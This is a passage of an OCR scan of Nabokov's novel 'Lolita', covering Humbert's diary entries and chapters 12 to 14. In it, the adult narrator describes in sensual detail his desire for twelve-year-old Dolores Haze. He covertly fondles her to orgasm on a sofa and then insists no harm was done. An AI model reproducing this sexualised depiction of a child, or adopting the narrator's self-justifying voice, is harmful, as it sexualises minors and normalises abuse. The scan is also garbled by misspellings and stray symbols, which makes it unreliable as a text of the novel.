an +immobilized fraction of her, a cinematographic still, a sudden +smooth nether loveliness, as with one knee up under her tartan +shirt she sits tying her shoe. “Dolores Haze, ne montrez pas +vos zhambes” (this is her mother who thinks she knows +French). + +A poet h mes heures, I composed a madrigal to the soot- +black lashes of her pale-gray vacant eyes, to the five asymmetri- +cal freckles of her bobbed nose, to the blond down of her +brown limbs; but I tore it up and cannot recall it today. Only +in the tritest of terms (diary resumed) can I describe Lo’s +features: I might say her hair is aubum, and her lips as red as +licked red candy, the lower one prettily plump — oh, that I +were a lady writer who could have her pose naked in a naked +light! But instead I am lanky, big-boned, woolly-chested Hum- +bert Humbert, with thick black eyebrows and a queer accent, +and a cesspoolful of rotting monsters behind his slow boyish +smile. And neither is she the fragile child of a feminine novel. +What drives me insane is the twofold nature of this nymphet +— of every nymphet, perhaps; this mixture in my Lolita of +tender dreamy childishness and a kind of eerie vulgarity', stem- +ming from the snub-nosed cuteness of ads and magazine pic- +tures, from the blurry pinkness of adolescent maidservants in +the Old Country (smelling of crushed daisies and sweat); and +from very young harlots disguised as children in provincial +brothels; and then again, all this gets mixed up with the ex- +quisite stainless tenderness seeping through the musk and the +mud, through the dirt and the death, oh God, oh God. And +what is most singular is that she, this Lolita, my Lolita, has in- +dividualized the writer’s ancient lust, so that above and over +everything there is — Lolita. + +Wednesday. “Look, make Mother take you and me to Our +Glass Lake tomorrow.” These were the textual words said to +me by my twelve-year-old flame in a voluptuous whisper, as +we happened to bump into one another on the front porch, I +out, she in. The reflection of the afternoon sun, a dazzling +white diamond with innumerable iridescent spikes quivered + +43 + + + +On the round back of a parked car. The leafage of a voluminous +elm played its mellow shadows upon the clapboard wall of +the house. Two poplars shivered and shook. You could make +out the formless sounds of remote traffic; a child calling +“Nancy, Nan-cy!” In the house, Lolita had put- on her favorite +“Little Carmen” record which I used to call “Dwarf Con- +ductors,” making her snort with mock derision at my mock +wit + +Thursday. Last night we sat on the piazza, the Haze woman, +Lolita and I. Warm dusk had deepened into amorous darkness. +The old girl had finished relating in great detail the plot of a +movie she and L. had seen sometime in the winter. The boxer +had fallen extremely low when he met the good old priest +(who had been a boxer himself in his robust youth and could +still slug a sinner). We sat on cushions heaped on the floor, +and L. was between the woman and me (she had squeezed +herself in, the pet) . In my turn, 3 launched upon a hilarious +account of my arctic adventures. The muse of invention +handed me a rifle and I shot a white bear who sat down and +said: Ah! AH the while I was acutely aware of L.’s nearness and +as I spoke I gestured in the merciful dark and took advantage +of those invisible gestures of mine /to touch her hand, her +shoulder and a ballerina of wool and gauze which she played +with and kept sticking into my lap; and finally, when I had +completely enmeshed my glowing darling in this weave of +ethereal caresses, I dared stroke her bare leg along the goose- +.berry fuzz of her shin, and I chuckled at my own jokes, and +trembled, and concealed my tremors, and once or twice felt +with my rapid lips the warmth of her hair as I treated her to a +quick nuzzling, humorous aside and caressed her plaything. +She, too, fidgeted a good deal so that finally her mother told +her sharply to quit it and sent the doll flying into the dark, +and I laughed and addressed myself to Haze across Lo’s legs +to let my hand creep up my nymphet’s thin back and feel her +skin through her boy’s shirt. + +But I knew it was all hopeless, and was sick with longing, +and my clothes felt miserably tight, and I was almost^glad +when her mother’s quiet voice announced in the dark: “And +now r we all think that Lo should gcr to bed.” ‘I think you +stink,” said Lo; "Which means there will be no picnic tomor- +row,” said Haze. “This is a free country,” said Lo. When angry +Lo with a Bronx cheer had gone, I stayed on from sheer in- +ertia, while Haze smoked her tenth cigarette of the evening +and complained of Lo. + + +44 + + + +She had been spiteful, if you please, at the age of one, when +she used to throw her toys out of her crib so that her poor +mother should keep picking them up, the villainous infantl +Now, at twelve, she was a regular pest, said Haze. AH she +wanted from life was to be one day a strutting and prancing +baton twirler or a jitterbug. Her grades were poor, but she was +better adjusted in her new school than in Pisky (Pisky was the +Haze home town in the Middle West. The Ramsdale house +was her late mother-in-law’s. They had moved to Ramsdale less +than two years ago). “Why was she unhappy there?” “Oh,” +said Haze, “poor me should know, I went through that when +I was a kid: boys twisting one’s arm, banging into one with +loads of books, pulling one’s hair, hurting one’s breasts, flip- +ping one’s skirt. Of course, moodiness is a common concomi- +tant of growing up, but Lo exaggerates. Sullen and evasive. +Rude and defiant. Stuck Viola, an Italian schoolmate, in the +seat with- a fountain pen. Know what I would like? If you, +monsieur, happened to be still here in the fall. I'd ask you to +help her with her homework — you seem to know everything, +geography, mathematics, French.” "Oh, everything,” answered +monsieur. “That means," said Haze quickly, “vouHl be herel” + +I wanted to shout that I would stay on eternally if only I could +hope to caress now and then my incipient pupil. But I was +wary of Haze. So I just grunted and stretched my limbs non- +concomitantly (Je wot juste ) and presently went up to my +room. The woman, however, was evidently not prepared to +call it a day. I was already lying upon my cold bed both hands > +pressing to my face Lolita's fragrant ghost when I heard my +indefatigable landlady creeping stealthily up to my door to +whisper through it — just to make sure, she said, I was through +with the Glance and Gulp magazine I had borrowed the other +day. From her room Lo yelled she had it. We are quite a +lending library in .this house, thunder of God. + +Friday. I wonder what my academic publishers would say +if I were to quote in my textbook Ronsard's “la vcrmcillcttc +fente" or Remy Belleau’s “un petit wont feutrd de mousse +ddlicatc, tracd sur le milieu d’un fillet cscartette ” and so forth. +I shall probably have another breakdown if I stay any longer in +this house, under the strain of this intolerable temptation, by +the side of my darling — my darling — my life and my bride. Has +she already been initiated by mother nature to tire Mystery of +the Mcnarchc? Bloated feeling. The Curse of the Irish. Falling +from the roof. Grandma is visiting. "Mr. Uterus jl quote from +a girls’ magazine] starts to build a thick soft wall on the chance + +45 + + + +a possible baby may have to be bedded down there." The tiny +madman in his padded cell. + +incidentally: if I ever commit a serious murder . . . Mark the +"if.” The urge should be something more than the kind of +thing that happened to me with Valeria. Carefully mark that +the n l was rather inept. If and when you wish to sizzle me to +death, remember that only a spell of insanity could ever give +me the simple energy to be a brute (all this amended, per- +haps) . Sometimes I attempt to kill in my dreams. But do you +know what happens? For instance I hold a gun. For instance I +aim at a bland, quietly interested enemy. Oh, I press the trig- +ger all right, but one bullet after another feebly drops on the +floor from the sheepish muzzle. In those dreams, my only +thought is to conceal the fiasco from my foe, who is slowly +growing annoyed. + +At dinner tonight the old cat said to me with a sidelong +gleam of motherly mockery directed at Lo (I had just been +describing, in a flippant vein, the delightful little toothbrush +mustache I had not quite decided to grow) : "Better don't, if +somebody is not to go absolutely dotty.” Instantly Lo pushed +her plate of boiled fish away, all but knocking her milk over, +and bounced out of the dining room. "Would it bore you very +much,” quoth Haze, "to come with us tomorrow for a swim in +Our Glass Lake if Lo apologizes for her manners?” + +Later, I heard a great banging of doors and other sounds +coming from quaking caverns where the two rivals were having +.a ripping row. + +She has not apologized. The lake is out. It might have been +fun. + +Saturday. For some days already I had been leaving the door +ajar, while I wrote in my room; but only today did the trap +work. With a good deal of additional fidgeting, shuffling, scrap- +ing — to disguise her embarrassment at visiting me without +having been called — Lo came in and after pottering around, +became interested in the nightmare curlicues I had penned on +a sheet of paper. Oh no: they were not the outcome of a belle- +Iettrist’s inspired pause between two paragraphs; they were the +hideous hieroglyphics (which she could not decipher) of my +fatal lust As she bent her brown curls over the desk at which +I was sitting, Humbert the Hoarse put his arm around her in a +miserable imitation of blood-relationship; and still studying, +somewhat shortsightedly, the piece of paper she held, my inno- +cent little visitor slowly sank to a half-sitting position upon my + +46 + + + +knee. Her adorable profile, parted lips, -warm hair were some +three inches from my bared eyetooth; and I felt the heat of +her limbs through her rough tomboy clothes. All at once I +knew I could kiss her throat or the wick of her mouth with +perfect impunity. I knew she would let me do so, and even +dose her eyes as Hollywood teaches. A double vanilla with hot +fudge — hardly more unusual than that. I cannot tell my +learned reader (whose eyebrows, I suspect, have by now +travded all the way to the back of his bald bead), I cannot +tell him how the knowledge came to me; perhaps my ape-ear +had unconsciously caught some slight change in the rhythm of +her respiration — for now she was not really looking at my scrib- +ble, but waiting with curiosity and composure — oh, my limpid +nymphetl— for the glamorous lodger to do what he was dying +to do. A modem child, an avid reader of mode magazines, an +expert in dream-slow dose-ups, might not think it too strange, + +I guessed, if a handsome, intensely virile grown-up friend — too +late. The house was suddenly vibrating with voluble Louise’s +voice telling Mrs. Haze who had just come home about a dead +something she and Leslie Tomson had found in the basement, +and little Lolita was not one to miss such a tale. + +Sunday. Changeful, bad-tempered, cheerful, awkward, grace- +ful with the tart grace of her coltish subteens, excruciatingly +desirable from head to foot (all New England for a lady- writ- +er’s pen!), from the black ready-made bow and bobby pins +holding her hair in place to the little scar on the lower part of +her neat calf (where a roller-skater kicked her in Pisky), a. +couple of inches above her rough white sock. Gone with her +mother to the Hamiltons — a birthday party or something. +Full-skirted gingham frock. Her little doves seem well formed +already. Precocious pet! + +Monday. Rainy morning. "Ccs matins g ris si doux . . My +white pajamas have a lilac design on the back. I am like one +of thosi inflated pale spiders you see in old gardens. Sitting in +the middle of a luminous web and giving little jerks to this or +that stand. My web is spread all over the house as 1 listen +from my chair where I sit like a wily wizard. Is Lo in her room? +Gently I tug on the silk. She is not. Just heard the toilet paper +cylinder make its staccato sound as it is turned; and no footfalls +has my outflung filament traced from the bathroom back to her +room. Is she still brushing her teeth (the only sanitary act Lo +performs with real zest)? No. The bathroom door has just +slammed, so one has to feel elsewhere about the bouse for the + +47 + + + +beautiful warm-colored prey. Let us have a strand of silk +descend the stairs. I satisfy myself by this means that she is +not in the kitchen — not banging the refrigerator door or +screeching at her detested mamma (who, I suppose, is enjoy- +ing her third, cooing and subduedly mirthful, telephone con- +versation of the morning) . Well, let us grope and hope. Ray- +like, I glide in thought to the parlor and find the radio silent +(and mamma still talking to Mrs. Chatfield or Mrs. Hamilton, +very softly, flushed, smiling, cupping the telephone with her +free hand, denying by implication that she denies those amus- +ing rumors, rumor, roomer, whispering intimately, as she never +does, the clear-cut lady, in face to face talk) . So my nymphet is +not in the house at all! Gone! What I thought was a prismatic +weave turns out to be but an old gray cobweb, the house is +empty, is dead. And then comes Lolita’s soft sweet chuckle +through my half-open door 'Don’t tell Mother but I’ve eaten +all your bacon.” Gone when I scuttle out of my room. Lolita, +where are you? My breakfast tray, lovingly prepared by my +landlady, leers at me toothlessly, ready to be taken in. Lola, +Lolita! + +Tuesday. Clouds again interfered with that picnic on that +unattainable lake. Is it Fate scheming? Yesterday I tried on +before the mirror a new pair of bathing trunks. + +Wednesday. In the afternoon. Haze (common-sensical shoes, +tailor-made dress), said she was driving downtown to buy a +present for a friend of a friend of hers, and would I please come +.too because I have such a wonderful taste in textures and per- +fumes. “Choose your favorite seduction,” she purred. What +could Humbert, being in the perfume business, do? She had +me cornered between the front porch and her car. “Hurry up,” +she said as I laboriously doubled up my large body in order to +crawl in (still desperately devising a means of escape) . She +had started the engine, and was genteelly swearing at a backing +and turning truck in front that had just brought old invalid +Miss Opposite a brand new wheel chair, when my Lolita’s +sharp voice came from the parlor window: “You! Where are +you going? I’m coming too! Wait!” “Ignore her,” yelped Haze +(killing the motor); alas for my fair driver; Lo was^ already +pulling at the door on my side, “This is intolerable,”^ began +Haze; but Lo had scrambled in, shivering with glee. “Move +your bottom, you,” said Lo. “Lo!” cried Haze (sideglanring at +me, hoping I would throw rude Lo out). “And behold,” said +Lo (not for the first time) , as she jerked back, as I jerked back, + +48 + + + +as the cai leapt forward. “It is intolerable,” said Haze, violently +getting into second, "that a child should be so ill-mannered. +And so very persevering. When she knows she is unwanted. +And needs a bath + +My knuckles lay against the child’s blue jeans. She was bare- +footed; her toenails showed remnants of cherry-red polish and +there was a bit of adhesive tape across her big toe; and, God, +what would I not have given to kiss then and there those deli- +cate-boned, long-toed, monkeyish feetl Suddenly her hand +slipped into mine and without our chaperon’s seeing, I held, +and stroked, and squeezed that little hot paw, all the way to +the store. The wings of the driver’s Marlenesque nose shone, +having shed or burned up their ration of powder, and she kept +up an elegant monologue anent the local traffic, and smiled in +profile, and pouted in profile, and beat her painted lashes in +profile, while I prayed we would never get to that store, but we +did. + +I have nothing else to report, save, primo: that big Haze had +little Haze sit behind on our way home, and secundo: that the +lady decided to keep Humbert’s Choice for the backs of her +own shapely ears. + +Thursday. We are paying with hail and gale for the tropical +beginning of the month. In a volume of the Young People’s +Encyclopedia, I found a map of the States that a child’s pencil +had started copying out on a sheet of lightweight paper, upon +the other side of which, counter to the unfinished outline of +Florida and the Gulf, there was a mimeographed list of names +referring, evidently, to her class at the Ramsdale school. It is +a poem I know' already by heart + +Angel, Grace +Austin, Floyd +Beale, Jack +Beale, Mary +Buck, Daniel +Byron, Marguerite +Campbell, Alice +Carmine, Rose +Chatficld, Phyllis +Clarke, Gordon +Cowan, John +Cowan. Marion +Duncan, Walter +d9 + + + +Falter, Ted - . + +Fantazia, Stella +Flashman, Irving +Fox, George +Glave, Mabel +Goodale, Donald +Green, Lucinda +Hamilton, Mary Rose +Haze, Dolores +Honeck, Rosaline +Knight, Kenneth +McCoo, Virginia +McCrystal, Vivian +McFate, Aubrey +Miranda, Anthony +Miranda, Viola +Rosato, Emil +Schlenker, Lena +Scott,' Donald +Sheridan, Agnes +Sherva, Oleg +Smith, r Hazel +Talbot, Edgar +Talbot, Edwin +Wain, Lull +Williams, Ralph +Windmuller, Louise + +A poem, a poem, forsooth! So strange and sweet was it to +discover this “Haze, Dolores” (she!) in its special bower of +names, with its bodyguard of. roses — a fairy princess between +her two maids of honor. I am trying to analyze the spine-thrill +of delieht it gives me, this name among all those others. What +is it that excites me almost to tears (hot, opalescent, thick tears +that poets and lovers shed) ? What is it? The tender anonymity +of this name with its formal veil (“Dolores”) and that abstract +transposition of first name and surname, which is like a pair +of new pale gloves or a mask? Is “mask” the keyword? Is it +becaus' there is always delight in the semitranslucent mystery’, +the flowing charshaf, through which the flesh and the eye you +alone are elected to know smile in passing at you alone? Or is it +becanse I can imagine so well the rest of the colorful classroom +around my dolorous and hazy' darling: Grace and her ripe + +50 + + + +pimples; Ginny and her lagging leg; Gordon, the haggard mas- +turbator; Duncan, the foul-smelling clown; nail-biting Agnes; +Viola, of the blackheads and the bouncing bust; pretty Rosa- +line; dark Mary Rose; adorable Stella, who has let strangers +touch her, Ralph, who bullies and steals; Irving, for whom I +am sorry. And there she is there, lost in the middle, gnawing a +pencil, detested by teachers, all the boys’ eyes oh her hair and +neck, my Lolita. + +Friday. I long for some terrific disaster. Earthquake. Spec- +tacular explosion. Her mother is messily but instantly and +permanently eliminated, along with everybody else for miles +around. Lolita, whimpers in my arms. A free man, I enjoy her +among the mins. Her surprise, my explanations, demonstra- +tions, uflulations. Idle and idiotic fancies! A brave Humbert +would have played with her most disgustingly (yesterday, for +instance, when she was again in my room to show me her +drawings, school-artware); he might have bribed her — and got +away with it. A simpler and more practical fellow would have +soberly stuck to various commercial substitutes — if you know +where to go, I don’t Despite my manly looks, I am horribly +timid. My romantic soul gets ah clammy and shivery at the +thought of running into some awful indecent unpleasantness. +Those ribald sea monsters. "Mais allez-y, allez-yj” Annabel +skipping on one foot to get into her shorts, I seasick with +rage, trying to screen her. + +Same date, later, quite late. I have turned on the light to +take down a dream. It had an evident antecedent. Haze at +dinner had benevolently proclaimed that since the weather +bureau promised a sunny weekend we would go to the lake +Sunday after church. As I lay in bed, erotically musing before +trying to go to sleep, I thought of a final scheme how to profit +by the picnic to come. I was aware that mother Haze hated +my darling for her being sweet on me. So I planned my lake +day with a view to satisfying the mother. To her alone would +I talk; but at some appropriate moment I would say I had left +my wrist watch or my sunglasses in that .glade yonder — and +plimge with my nymphet into the wood. Reality at this junc- +ture withdrew, and the Quest for the Glasses turned into a +quiet little orgy with a singularly knowing, cheerful, corrupt +and compliant Lolita behaving as reason knew she conld not +possibly behave. At 3 a.m. I swallowed a sleeping pQl, and pres- +ently, a dream that was not a sequel but a parody revealed to +me, with a kind of meaningful clarity, the^e I had never yet + +a, )V % ; ? M M r‘ ! \ S' 51 + +** 5 - — i-* c cy + + + +visited: it was glazed over with a sheet of emerald ice, and a +pockmarked Eskimo was trying in vain to break it with a pick- +axe, although imported mimosas and oleanders flowered on its +gravelly banks. I am sure Dr. Blanche Schwarzmann would +have paid me a sack of schillings for adding such a libidream to +her files. Unfortunately, the rest of it was frankly eclectic. Big +Haze and little Haze rode on horseback around the lake, and I +rode too, dutifully bobbing up and down, bowlegs astraddle +although there was no horse between them, only elastic air — +one of those little omissions due to the absent-mindedness of +the dream agent. + +Saturday. My heart is still thumping. I stfll squirm and emit +low moans of remembered embarrassment + +Dorsal view. Glimpse of shiny skin between T-shirt and +white gym shorts. Bending, over a window sill, in the act +of tearing off leaves from a poplar outside while engrossed in +torrential talk with a newspaper boy below (Kenneth Knight, I +suspect) who had just propelled the Ramsdale Journal with a +very precise thud onto the porch. I began creeping up to her — +“crippling” up to her, as pantomimists say. My arms and legs +were convex surfaces between which — rather than upon which +— I slowly progressed by some neutral means of locomotion: +Humbert the Wounded Spider. I must have taken hours to +reach her: I seemed to see her through the wrong end of a +telescope, and toward her taut little rear I moved like some +paralytic, on soft distorted limbs, in terrible concentration. At +last I was right behind her when I had the unfortunate idea of +blustering a trifle — shaking her by the scruff of the neck and +that sort of thing to cover my real manage, and she said in a +shrill brief whine: “Cut it outl” — most coarsely, the little +wench, and with a ghastly grin Humbert the Humble beat a +gjoomy retreat while she went on wisecracking streetward. + +But now listen to what happened next. After lunch I was +reclining in a low chair trying to read. Suddenly two deft little +hands were over my eyes: she had crept up from behind as if +re-enacting, in a ballet sequence, my morning maneuver. Her +fingers were a luminous crimson as they tried to blot out the +sun, and she uttered hiccups of laughter and jerked this way +and that as I stretched my arm sideways and backwards with- +out otherwise changing my recumbent position. My hand +swept over her agile giggling legs, and the book like a sleigh +left my lap, and Mrs. Haze strolled up and said indulgently: +“Just slap her hard if she interferes with your scholarly medita- + +52 + + + +tjons. How I love this garden [no exclamation marie in her +tone]. Isn't it divine in the sun [no question mark either].” +And with a sigh of feigned content, the obnoxious lady sank +down on the grass and looked up at the sky as she leaned back +on her splayed-out hands, and presently an old gray tennis ball +bounced over her, and Lo's voice came from the house +haughtily: “Pardonnez, Mother. I was not aiming at yon.” Of +course not, my hot downy darl i n g. + + +12 + + +This proved to be the last of twenty entries or so. It will he +seen from them that for all the devil's inventiveness, the +scheme remained daily the same. First he would tempt me — +and then thwart me, leaving me with a dull pain in the very +root of my being. I knew exactly what I wanted to do, and +how to do it, without impinging on a child’s chastity, after all, +I had had some experience in my life of pederosis; had visually +possessed dappled nymphets in parks; had wedged my wary +and bestial way into the hottest, most crowded comer of a city +bus full of strap-hanging school children. But for almost three +weeks I had been interrupted in all my pathetic machinations. +The agent of these interruptions was usually the Haze woman,, +(who, as the reader will mark, was more afraid of Lo’s deriving +some pleasure from me than of my enjoying Lo) . The passion +I had developed for that nympbet — for the first nymphet in +my life that could be reached at last by my awkward, aching, +timid daws — would have certainly landed me again in a sana- +torium, had not the devil realized that I was to be granted +some relief if he wanted to have me as a plaything for some +time longer. + +The reader has also marked the curious Mirage of the Lake. +It would have been logical on the part of Aubrey McFate (as +I would like to dub that devil of mine) to arrange a small treat +for me on the promised beach, in the presumed forest. Actual- +ly, the promise Mrs. Haze had made was a fraudulent one: she +h2d not told me that Mary Rose Hamfiton (a dark little beauty +in her own right) was to come too, and that the two nymphets +would be whispering apart, and playing apart, and having a + +53 + + +good time all by themselves, while Mrs. Haze and her hand- +some lodger conversed sedately in the seminude, far from +prying eyes. Incidentally, eyes did pry and tongues did wag. +How queer life is! We hasten to alienate the very fates we in- +tended to v/oo. Before my actual arrival, my landlady had +planned to have an old spinster, a Miss Phalen, whose mother +had been cook in Mrs. Haze's family, come to stay in the +house, with Lolita and me, while Mrs. Haze, a career girl at +heart, sought some suitable job in the nearest city. Mrs. Haze +had seen the whole situation very clearly: the bespectacled, +round-backed Herr Humbert coming with his Central-Eoro- +pean trunks to gather dust in his comer behind a heap of old +books; the unloved ugly little daughter firmly supervised by +Miss Phalen who had already once had my Lo under her +buzzard wing (Lo recalled that 1944 summer with an indig- +nant shudder) ; and Mrs. Haze herself engaged as a receptionist +in a great elegant city. But a not too complicated event inter- +fered with that program. Miss Phalen broke her hip in Savan- +nah, Ga., on the very day I arrived in Ramsdale. + + +13 + +The Sunday after the Saturday already described proved to be +as bright as the weatherman had predicted. When putting the +breakfast things back on the chair outside my room for my +good landlady to remove at her convenience, I gleaned the +following situation by listening from the landing across which +I had softly crept to the banisters in my old bedroom slippers +— the only old things about me. + +There had been another row. Mrs. Hamilton had tele- +phoned that her daughter "was running a temperature.” Mrs. +Haze informed her daughter that the picnic -would have to be +postponed. Hot little Haze informed big cold Haze that, if so, +she would not go with her to church. Mother said very wen +and left. + +I had come out on the landing straight after shaving, soapy- +earlobed, still in my white pajamas with the cornflower blue +(not the lilac) design on the back; I now wiped off the soap, +perfumed my hair and armpits, slipped on a purple silk dress- + +54 + + +mg gown, and, humming nervously, went down the stairs in + +quest of Lo. . _ + +I want my learned readers to participate m the scene 1 am +about to replay, I want them to examine its every detail and see +for themselves how careful, how chaste, the whole wine-sweet +event is if viewed with what my lawyer has called, in a private +talk we have had, “impartial sympathy." So let us get started. + +I have a difficult job before me. + +Main character: Humbert the Hummer. Time: -.Sunday +morning in June. Place: sunlit living room. Props: old, candy- +striped davenport, magazines, phonograph, Mexican knick- +knacks (the late Mr. Harold E. Haze- — God bless the good +man — had engendered my darling at the siesta hour in a blue- +washed room, on a honeymoon trip to Vera Cruz, and memen- +toes, among these Dolores, were all over the place). She wore +that day a pretty print dress that I had seen on her once be- +fore, ample in the skirt, tight in the bodice, short-sleeved, pink, +checkered with darker pink, and, to complete the color scheme, +she had painted her lips and was holding in her hollowed +hands a beautiful, banal, Eden-red apple. She was not shod, +however, for church. And her white Sunday purse lay discarded +near the phonograph. + +My heart beat like a dram as she sat down, cool skirt bal- +looning, subsiding, on the sofa next to me, and played with her +glossy fruit She tossed it up into the sun-dusted air, and +caught it — it made a cupped polished plop. + +Humbert Humbert intercepted the apple. + +"Give it back,” she pleaded, showing the marbled flush of +her palms. I produced Delicious. She grasped it and hit into it, +and my heart was like snow under thin crimson skin, and with +the monkeyish nimbleness that was so typical of that American +nymphet, she snatched ont of my abstract grip the magazine I +had opened (pity no film has recorded the curious pattern, the +monogrammic linkage of our simultaneous or overlapping +moves). Rapidly, hardly hampered by the disfigured apple she +held, Lo flipped violently through the pages in search of some- +thing she wished Humbert to see. Found it at last. I faked +interest by bringing my bead so close that her hair touched +my temple and her arm brushed my cheek as she wiped her +lips with her wrist Because of the burnished mist through +which I peered at the picture, I was slow in reacting to it, and +her bare knees nibbed and knocked impatiently against each +other. Dimly there came into view: a surrealist painter relax- + +55 + + +mg, supine, on a beach, and near him, likewise supine, a piaster +r fP' 1 _ c T a , Venus di Milo, half-buried in sand. Picture of +the Week, said the legend. I whisked the whole obscene thing +away. Next moment, in a sham effort to retrieve it, she was all +over me. Caught her by her thin knobby wrist. The magazine +escaped to the floor like a flustered fowl. She twisted herself +free, recoiled, and lay back in the right-hand comer of the +davenport. Then, with perfect simplicity, the impudent child +extended her legs across my lap. + +By this time I was in a state of excitement bordering on in- +sanity; but I also had the cunning of the insane. Sitting there, +on the sofa, I managed to attune, by a series of stealthy move- +ments, my masked lust to her guileless limbs. It was no easy +matter to. divert the little maiden's attention while I performed +the obscure adjustments necessary for the success of the trick. +Talking fast, lagging behind my own breath, catching up with +it, mimicking a sudden toothache to explain the breaks in my +patter — and all the while keeping a maniac’s inner eye on my +distant golden goal, I cautiously increased the magic friction +that was doing away, in an fllusional, if not factual, sense, with +the physically irremovable, but psychologically very friable +texture of the material divide (pajamas and robe) between the +weight of two sunburnt legs, resting athwart my lap, and the +hidden tumor of an unspeakable passion. Having, in the course +of my patter, hit upon something nicely mechanical, I recited, +garbling them slightly, the words of a foolish song that was +then popular — O my Carmen, my little Carmen, something, +something, those something nights, and the stars, and the cars, +and the bars, and the barmen; I kept repeating this automatic +stuff and holding her under its special spell (special because of +the garbling), and all the while I was mortally afraid that some +act of God might interrupt me, might remove the golden load +in the sensation of which all my being seemed concentrated, +and this anxiety forced me to work, for the first minute or so, +more hastily than was consensual with deliberately modulated +enjoyment. The stars that sparkled, and the cars that parkled, +and the bars, and the barmen, were presently taken over by +her; her voice stole and corrected. the tune I had been mutilat- +ing. She was musical and apple-sweet. Her legs twitched a little +as they lay across my live lap; I stroked them; there she lolled +in the right-hand comer, almost asprawl, Lola the bobby-soxer, +devouring her immemorial fruit, singing through its juice, los- +ing her slipper, rubbing the heel of her slippeiless foot in its + +56 + + + +sloppy anklet, against the pile of old magazines heaped on my +left on the sofa— and every movement she made, every shuffle +and ripple, helped me to conceal and to improve the secret +system of tactile correspondence between beast and beauty— +between my gagged, bursting-beast and the beauty of ber dim- +pled body in its innocent cotton frock. + +Under my glancing finger tips I felt the minute hairs bristle +ever so slightly along her shins. 1 lost myself in the pungent +but healthy heat which like summer haze hung about little +Haze. Let her stay, let her stay ... As she strained to chuck the +core of her abolished apple into the fender, her young weight, +her shameless innocent shanks and round bottom, shifted in +my tense, tortured, surreptitiously laboring lap; and all of a +sudden a mysterious change came over my senses. I entered a +plane of being where nothing mattered, save the infusion of +joy brewed within my body. What had begun as a .delicious +distension of my innermost roots became a glowing tingle +which now had reached that state of absolute security, confi- +dence and reliance not found elsewhere in conscious life. With +the deep hot sweetness thus established and well on its way +to the ultimate convulsion, I felt I could slow down in order +to prolong the glow. Lolita had been safely solipsized. The +implied sun pulsated in the supplied poplars; we were fan- +tastically 2 nd divinely alone; I watched her, rosy, gold-dusted, +beyond the veil of my controlled delight, unaware of it, alien +to it, and the sun was on her lips, and her lips were apparently +still forming the words of the Carmen-barmen ditty' that ■> +no longer reached my consciousness. Everything was now +readv . The nerves of pleasure had been laid bare. The corpuscles +of Krauze were entering the phase of frenzy. The least pressure +would suffice to set all paradise loose. I had ceased to be Hum- +bert the Hound, the sad-eyed degenerate cur clasping the boot +that would presently kick him away. I was above the tribula- +tions of ridicule, beyond the possibilities of retribution. In my +self-made seraglio, I was a radiant and robust Turk, deliber- +ately, in the full consciousness of his freedom, postponing the +moment of actually enjoying the youngest and frailest of his +slaves. Suspended on .the brink of that voluptuous abyss (a +nicety of physiological equipoise comparable to certain tech- +niques in the arts) I kept repeating chance words after her — +barmen, alarmin’, my charmin’, my carmen, ahmen, ahaha- +F ,en " as one talking and laughing in his sleep while my happy +band crept up hex sunny leg as far the the shadow of decency + +57 . + + + +allowed. The day before she had collided with the heavy chest +re the hall and "Look, look!"— I gasped— ‘'look what you’ve +done, what you’ve done to yourself, ah, look”; for there was I +swear, a yellowish-violet bruise on her lovely nymphet thigh +which my huge hairy hand massaged and slowly enveloped— +and because of her very perfunctory underthings, there seemed +to be nothing to prevent my muscular thumb from reaching +the hot hollow of her groin— just as you might tickle and +caress a giggling child— just that— and: “Oh it’s nothing at +all,” she cried with a sudden shrill note in her voice, and she +wriggled, and squirmed, and threw her head back and her teeth +rested on her glistening underlip as she half-turned away, and +my moaning mouth, gentlemen of the jury, almost reached +her bare neck, while I crushed out against her left buttock the +last throb of the longest ecstasy man or monster had ever +known. + +Immediately afterward (as if we had been struggling and +now my grip bad eased) she rolled off the sofa and jumped to +her feet — to her foot, rather — in order to attend to the formi- +dably loud telephone that may have been ringing for ages as +far as I was concerned. There she stood and blinked, cheeks +aflame, hair awry, her eyes passing over me as lightly as they +did over the furniture, and as she listened or spoke (to her +mother who was telling her to come to lunch with her at the +Chatfields — neither Lo nor Hum knew yet what busybody +Haze was plotting), she kept tapping the edge of the table +with the slipper she held in her band. Blessed be the Lord, +she had noticed nothingl + +With a handkerchief of multicolored silk, on which her +listening eyes rested in passing, I wiped the sweat off my fore- +head, and, immersed in a euphoria of release, rearranged my +royal robes. She was still at the telephone, haggling with her +mother (wanted to be fetched by car, my little Carmen ) when, +singing louder and louder, I swept up the stairs and set a +deluge of steaming water roaring into the tub. + +At this point I may as well give the words of that song hit in +full— to the best of my recollection at least— I don’t think I +ever had it right. Here goes: + +O my Carmen, my little Carmen! + +Somethine, something those something nights, + +And the stars, and the cars, and the bars, and the + +[barmen — + +And, O my charmin', our dreadful fights. + +58 + + +And the something town where so gaily, arm in +Arm, we went, and our final row, + +And the gun I lulled you with, O my Carmen, + +The gun I am holding now. + +(Drew his .32 automatic, I guess, and put a bullet through +his moll’s eye.) . + +^ \ ' • ‘ + +. 14 + +I had hunch in town — had not been so hungry for years. The +house was still Lo-less when I strolled back. I spent the after- +noon musing, scheming, blissfully digesting my experience of +the morning. + +I felt proud of myself. I had stolen the honey of a spasm, +without impairing the morals of a minor. Absolutely no harm +done. The conjurer had poured milk, molasses, foaming cham- +pagne into a young lady’s new white purse; and lo, the purse +was intact Thus had I delicately constructed my ignoble,, +ardent sinful dream; and still Lolita was safe — and I was safe. +What I had madly possessed was' not she, but my own. crea- +tion, another fanciful Lolita — perhaps, more real than Lolita; +overlapping, encasing her; floating between me and her, and . +having no will, no consciousness — indeed, no life of her own. + +The child knew nothing. I had done nothing to her. And +nothing prevented me from repeating a performance that af- +fected her as little as if she were a photographic image rippling +upon a screen and I a humble hunchback abusing mj’self in the +dark. The afternoon drifted on and on, in ripe sflence, and the +sappy tall trees seemed to be in the know; and desire, even +stronger than before, began to afflict me again. Let her come +soon, I prayed, addressing a lone God, and while mamma is in +the kitchen, let a repetition of the davenport scene be staged, +please, I adore her so horribly. + +No: ‘horribly” is the wrong word. The elation with which +the vision of new delights filled me was not horrible but +pathetic. I qualify it as pathetic. Pathetic — because despite the +insatiable fire of my venereal appetite, I intended, with the +most fervent force and foresight, to protect the purity of that +twelve-year old child. + + +59 + + + +And now see how I was repaid for my pains. No Lolita came +home— she had gone with the Chatfields to a movie. The table +was laid with more elegance than usual: candlelight, if yon +please. In this mawkish aura, Mrs! Haze gently touched the +silver on both sides of her plate as if touching piano keys, and +smiled down on her empty plate (was on a diet), and said she +hoped I liked the salad (recipe lifted from a woman’s mag- +azine). She hoped I 